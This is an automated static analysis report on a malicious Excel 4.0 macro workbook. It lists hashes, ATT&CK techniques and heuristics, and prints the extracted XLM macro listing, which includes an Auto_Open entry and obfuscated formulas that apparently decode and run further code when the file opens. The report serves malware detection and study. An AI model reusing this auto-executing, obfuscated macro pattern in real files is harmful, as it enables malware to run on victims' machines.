Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 06eedace8234ec2b…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:47:22 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 780cd27d93379cae9c3b200d799ff294 SHA-1: 7f2930a859883ce2b7c074273a38d4d94d7aa597 SHA-256: 06eedace8234ec2bc0f917fd0af32005b450f2b5517a02fbd7d24d61bf41a4af
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open function, which is a known technique for executing malicious code upon opening the workbook. The critical heuristics indicate the presence of dangerous formula APIs within the Auto_Open macro, suggesting it's designed to run arbitrary commands. No specific family could be identified, but the technique strongly points to a malicious downloader or executioner.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6646 bytes
SHA-256: 48cd5c19c6b3b0bf46aeb10ae79ee855730cb02ae2382f1d1a05586a7e2ddb64
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  fQCnnHxZA
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F189 
' 0018     20 LABEL : Cell Value, String Constant - AZWBx len=0 
' 0018     27 LABEL : Cell Value, String Constant - CTbGrgeskovB len=0 
' 0018     24 LABEL : Cell Value, String Constant - dQzUdpbkE len=0 
' 0018     21 LABEL : Cell Value, String Constant - eupVUR len=0 
' 0018     27 LABEL : Cell Value, String Constant - EuQVWskRhmnV len=0 
' 0018     23 LABEL : Cell Value, String Constant - FOKRiZJT len=0 
' 0018     23 LABEL : Cell Value, String Constant - fuEhBePA len=0 
' 0018     25 LABEL : Cell Value, String Constant - FVKfxsyHeX len=0 
' 0018     24 LABEL : Cell Value, String Constant - gnaJbByAl len=0 
' 0018     22 LABEL : Cell Value, String Constant - JDmFwaz len=0 
' 0018     22 LABEL : Cell Value, String Constant - jiLhoCY len=0 
' 0018     23 LABEL : Cell Value, String Constant - juQtyoZx len=0 
' 0018     21 LABEL : Cell Value, String Constant - lsaGFx len=0 
' 0018     22 LABEL : Cell Value, String Constant - MDzQFyf len=0 
' 0018     21 LABEL : Cell Value, String Constant - NPhPbF len=0 
' 0018     25 LABEL : Cell Value, String Constant - RwNJsenpvy len=0 
' 0018     26 LABEL : Cell Value, String Constant - TTLVDxmMNMj len=0 
' 0018     26 LABEL : Cell Value, String Constant - vkvYHjdWdOo len=0 
' 0018     23 LABEL : Cell Value, String Constant - vrnlIteC len=0 
' 0018     21 LABEL : Cell Value, String Constant - yWVKDH len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  fQCnnHxZA,F99,"SET.NAME("CTbGrgeskovB",VALUE("0"))",""
'  fQCnnHxZA,F103,"SET.NAME("vkvYHjdWdOo",CTbGrgeskovB)",""
'  fQCnnHxZA,F108,"SET.NAME("eupVUR",CTbGrgeskovB)",""
'  fQCnnHxZA,F110,"SET.NAME("FOKRiZJT",COUNTA(lsaGFx))",""
'  fQCnnHxZA,F114,"SET.NAME("NPhPbF",COUNTA(RwNJsenpvy))",""
'  fQCnnHxZA,F116,[],""
'  fQCnnHxZA,F120,"SET.NAME("fuEhBePA","")",""
'  fQCnnHxZA,F122,"vkvYHjdWdOo",""
'  fQCnnHxZA,F126,"SET.NAME("FVKfxsyHeX",HLOOKUP("*",lsaGFx,vkvYHjdWdOo,FALSE))",""
'  fQCnnHxZA,F128,"AZWBx",""
'  fQCnnHxZA,F133,"SET.NAME("dQzUdpbkE",CTbGrgeskovB)",""
'  fQCnnHxZA,F138,[],""
'  fQCnnHxZA,F141,"dQzUdpbkE",""
'  fQCnnHxZA,F144,"vrnlIteC",""
'  fQCnnHxZA,F147,"MDzQFyf",""
'  fQCnnHxZA,F149,"EuQVWskRhmnV",""
'  fQCnnHxZA,F151,"SET.NAME("TTLVDxmMNMj",VALUE(HLOOKUP("*",RwNJsenpvy,EuQVWskRhmnV,FALSE)))",""
'  fQCnnHxZA,F156,"yWVKDH",""
'  fQCnnHxZA,F159,"fuEhBePA",""
'  fQCnnHxZA,F164,"eupVUR",""
'  fQCnnHxZA,F168,NEXT(),""
'  fQCnnHxZA,F171,"jiLhoCY",""
'  fQCnnHxZA,F174,"SET.NAME("f",INT(T(FORMULA(T(fuEhBePA)&"",""&T(jiLhoCY)))))",""
'  fQCnnHxZA,F177,"gnaJbByAl",""
'  fQCnnHxZA,F182,NEXT(),""
'  fQCnnHxZA,F184,RETURN(),""
'  fQCnnHxZA,F215,"SET.NAME("JDmFwaz",F99)",""
'  fQCnnHxZA,F218,"lsaGFx",""
'  fQCnnHxZA,F223,"SET.NAME("RwNJsenpvy",R50C14)",""
'  fQCnnHxZA,F228,"SET.NAME("gnaJbByAl",236)",""
'  fQCnnHxZA,F233,"SET.NAME("juQtyoZx",6)",""
'  fQCnnHxZA,F235,JDmFwaz(),""
'  fQCnnHxZA,F236,HALT(),""

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